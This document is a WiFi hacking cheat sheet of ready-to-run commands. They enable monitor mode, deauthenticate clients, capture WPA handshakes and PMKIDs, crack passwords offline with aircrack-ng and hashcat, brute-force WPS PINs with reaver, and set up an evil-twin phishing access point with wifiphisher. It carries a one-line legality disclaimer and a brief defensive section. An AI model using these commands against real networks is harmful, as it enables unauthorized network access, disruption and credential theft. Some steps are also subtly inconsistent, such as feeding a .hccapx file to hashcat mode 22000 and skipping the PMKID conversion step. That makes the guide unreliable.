WiFi Hacking Cheat Sheet

Only use on YOUR OWN networks or explicitly authorized targets. Requires a monitor-mode-capable adapter (chipset e.g. Atheros/Ralink/Realtek, or ALFA) and airmon-ng.

Pre-checks

• List wireless interfaces iwconfig / ip a
• Check monitor mode support airmon-ng (look for “mac80211 monitor mode vif enabled”)
• Kill conflicting processes airmon-ng check kill
• Set monitor mode sudo airmon-ng start wlan0
• Confirm monitor interface (e.g., wlan0mon) iwconfig

Recon — find targets

• Scan networks sudo airodump-ng wlan0mon
• Focus on a channel/BSSID sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF wlan0mon
• Capture to files (for WPS/handshake work) sudo airodump-ng -c 6 -w capture wlan0mon

WEP

• Classic (deprecated, seldom used) — aireplay-ng -1 0 -a <bssid> wlan0mon fake auth, then aireplay-ng -3 ARP replay, -9 test; crack with aircrack-ng -b <bssid> capture-01.cap

WPA/WPA2 (Handshake attack)

1. Capture handshake:

   sudo aireplay-ng -0 5 -a <bssid> wlan0mon        # deauth clients to force reconnect
   sudo airodump-ng -c <ch> --bssid <bssid> -w cap wlan0mon   # capture 4-way handshake
   

2. Confirm handshake present: watch “WPA handshake: AA:BB:…” in airodump output
3. Crack (offline):

   aircrack-ng -w /usr/share/wordlists/rockyou.txt cap-01.cap
   # or hashcat
   aircrack-ng cap-01.cap -J out.hccapx        # convert, then
   hashcat -m 22000 out.hccapx /wordlists/rockyou.txt
   

WPA3 / PMKID

• PMKID capture from RSN (no client needed) — use hcxdumptool or wifi-pmkid:

  sudo hcxdumptool -i wlan0mon --enable_status=1 -o dump.pcapng
  hashcat -m 22000 dump.22000 rockyou.txt
  

• PMKID attack also works on some WPA2 routers (security flaw)

WPS (PIN attack, many routers)

sudo reaver -i wlan0mon -b <bssid> -c <ch> -vvv       # PIN brute (slow, router locks)
sudo wash -i wlan0mon                                   # list WPS-enabled APs

• WPS pixiewps / reaver -K 1 for known PIN vulnerabilities

Evil Twin / Rogue AP + MITM

# hostapd-mana / wifiphisher for credential phishing; aircrack-ng suite for deauth
# common demo: set up own AP, clone target SSID, clients connect, capture creds
sudo wifiphisher -aI wlan0mon -eE "TargetSSID"

Monitoring / Other tools

• wash -i wlan0mon (WPS), wifite (automated suite), kismet, wireshark on wlan0mon
• Deauth only aireplay-ng -0 10 -a <bssid> wlan0mon
• Disable/stop monitor mode sudo airmon-ng stop wlan0mon

Detection & Prevention Side (defensive)

• Check for rogue APs with the same tooling: airodump-ng and look for duplicated BSSIDs
• WPA3 (SAE) + PMF mandatory prevents many attacks; strong passphrase > 12 chars stops offline crack in practice
• Rogue AP detection: wifite --pixie isn’t detection; use Widow, AirDar for rogue detection

Rules

• Legal: own network, lab, or with written consent.
• RockYou is too small for real-world — use crunch, hashcat --increment, or WPA3 to beat offline cracking entirely.